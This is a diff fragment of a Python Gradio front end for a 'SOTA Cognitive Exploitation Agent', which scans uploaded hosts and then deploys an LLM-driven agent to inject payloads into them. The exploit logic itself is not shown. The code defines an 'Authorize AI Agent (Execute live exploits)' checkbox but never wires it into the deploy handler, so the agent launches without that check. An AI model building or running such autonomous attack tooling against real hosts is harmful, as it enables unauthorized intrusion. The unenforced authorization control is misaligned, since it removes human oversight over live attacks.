+ profile = ReconProfile(h, p)
312
+ return await SensorReconEngine(profile, logger).run()
 
 
 
 
 
 
 
 
313
 
314
+ tasks = [asyncio.create_task(run_sensor(h, p)) for h, p in targets]
315
  for coro in asyncio.as_completed(tasks):
316
  try:
317
+ profile = await coro
318
+ state["profiles"][profile.target_id] = profile
 
319
  except Exception: pass
320
 
321
+ while not log_queue.empty(): log_text = f"[{time.strftime('%X')}] {log_queue.get_nowait()}\n" + log_text
 
 
322
  log_text = '\n'.join(log_text.split('\n')[:100])
323
+ choices = list(state["profiles"].keys())
324
+ yield state, gr.update(choices=choices), f"🟑 **Scanning:** Extracted {len(choices)} target profiles...", log_text
325
 
 
 
 
 
326
  while not log_queue.empty(): log_text = f"[{time.strftime('%X')}] {log_queue.get_nowait()}\n" + log_text
327
+ logger("βœ… [STAGE 1] Recon Complete.")
328
+ yield state, gr.update(choices=list(state["profiles"].keys()), value=list(state["profiles"].keys())[0] if state["profiles"] else None), "🟒 **Recon Complete!** Move to the War Room.", log_text
329
 
330
+ async def run_exploit_phase(target_id, api_key, state):
331
+ log_queue = asyncio.Queue()
332
+ def logger(msg): log_queue.put_nowait(msg)
333
+ log_text = ""
 
 
 
334
 
335
+ if not api_key or not target_id:
336
+ yield "πŸ”΄ Error", "N/A", "N/A", "N/A", "N/A", log_text
337
+ return
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
338
 
339
+ profile = state["profiles"][target_id]
 
 
 
 
340
 
341
+ # Callback to update the State Machine UI
342
+ ui_state = ""
343
+ ui_detail = ""
344
+ async def update_ui(s, d):
345
+ nonlocal ui_state, ui_detail
346
+ ui_state, ui_detail = s, d
347
+
348
+ agent_gen = autonomous_exploit_agent(profile, api_key, logger, update_ui)
349
 
350
+ # We must consume the agent loop while updating UI
351
+ ep, pl, res, det = "", "", "", ""
352
+
353
+ # Polling loop to keep UI fresh
354
+ agent_task = asyncio.create_task(agent_gen.__anext__())
355
+ while not agent_task.done():
356
+ try:
357
+ msg = await asyncio.wait_for(log_queue.get(), timeout=0.2)
358
+ log_text = f"[{time.strftime('%X')}] {msg}\n" + log_text
359
+ except asyncio.TimeoutError: pass
360
+
361
+ log_text = '\n'.join(log_text.split('\n')[:100])
362
+ yield ui_state, ui_detail, ep, pl, res, log_text
363
 
 
 
 
 
 
 
 
 
 
 
 
 
364
  try:
365
+ ep, pl, res, det = agent_task.result()
366
+ except StopAsyncIteration: pass
367
+
368
+ while not log_queue.empty(): log_text = f"[{time.strftime('%X')}] {log_queue.get_nowait()}\n" + log_text
369
+ yield "βœ… COMPLETE", det, ep, pl, res, log_text
370
+
371
 
372
  # ==============================================================================
373
+ # GRADIO UI
374
  # ==============================================================================
375
  with gr.Blocks(theme=gr.themes.Monochrome()) as demo:
376
+ engine_state = gr.State({"profiles": {}})
 
377
 
378
+ gr.Markdown("# πŸ’€ SOTA Cognitive Exploitation Agent")
379
+ gr.Markdown("Features: **Signal-Rich Recon**, **Google Search Grounding**, and **Closed-Loop Reasoning (Strategize $\\rightarrow$ Exploit $\\rightarrow$ Refine)**.")
380
 
381
  with gr.Tabs():
382
  # --- TAB 1: RECON ---
383
+ with gr.Tab("1. Sensor Reconnaissance"):
384
  with gr.Row():
385
  with gr.Column():
386
  csv_in = gr.File(label="Upload CSV (Host, Port)", file_count="multiple")
387
  txt_in = gr.Textbox(label="Manual Targets", lines=3, placeholder="192.168.1.1:80")
388
+ recon_btn = gr.Button("πŸ” START SENSOR RECON", variant="primary")
389
+ api_key_in = gr.Textbox(label="Gemini API Key (Required for Agent)", type="password")
390
  with gr.Column():
391
  recon_status = gr.Markdown("System Offline.")
392
  log_console = gr.Code(label="Live Recon Telemetry", language="shell", lines=15)
393
 
394
  # --- TAB 2: WAR ROOM ---
395
+ with gr.Tab("2. Agentic War Room"):
396
  with gr.Row():
 
397
  with gr.Column(scale=1):
398
+ target_dropdown = gr.Dropdown(label="Extracted Target Profiles", choices=[], interactive=True)
399
+ exploit_consent = gr.Checkbox(label="🚨 Authorize AI Agent (Execute live exploits)", value=False)
400
+ fire_agent_btn = gr.Button("⚑ DEPLOY AUTONOMOUS AGENT", variant="primary")
 
 
401
 
402
+ gr.Markdown("### βš™οΈ Live Agent State Machine")
403
+ state_box = gr.Textbox(label="Current Phase", value="IDLE", interactive=False)
404
+ detail_box = gr.Textbox(label="Phase Details", value="Waiting for deployment...", interactive=False)
 
 
 
 
 
 
405
 
 
406
  with gr.Column(scale=1):
407
+ gr.Markdown("### πŸ’‰ Live Payload Telemetry")
408
+ ep_box = gr.Textbox(label="Target Endpoint", interactive=False)
409
+ pl_box = gr.Textbox(label="Injected Payload", interactive=False)
410
+ res_box = gr.Textbox(label="Final Result", interactive=False)
411
 
412
+ # --- WIRING ---
 
 
413
  recon_btn.click(
414
+ fn=run_recon_phase,
415
  inputs=[csv_in, txt_in, engine_state],
416
+ outputs=[engine_state, target_dropdown, recon_status, log_console]
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
417
  )
418
 
419
+ fire_agent_btn.click(
420
+ fn=run_exploit_phase,
421
+ inputs=[target_dropdown, api_key_in, engine_state],
422
+ outputs=[state_box, detail_box, ep_box, pl_box, res_box, log_console]
 
 
 
 
 
 
 
 
423
  )
424
 
425
  if __name__ == "__main__":
426
+ demo.launch()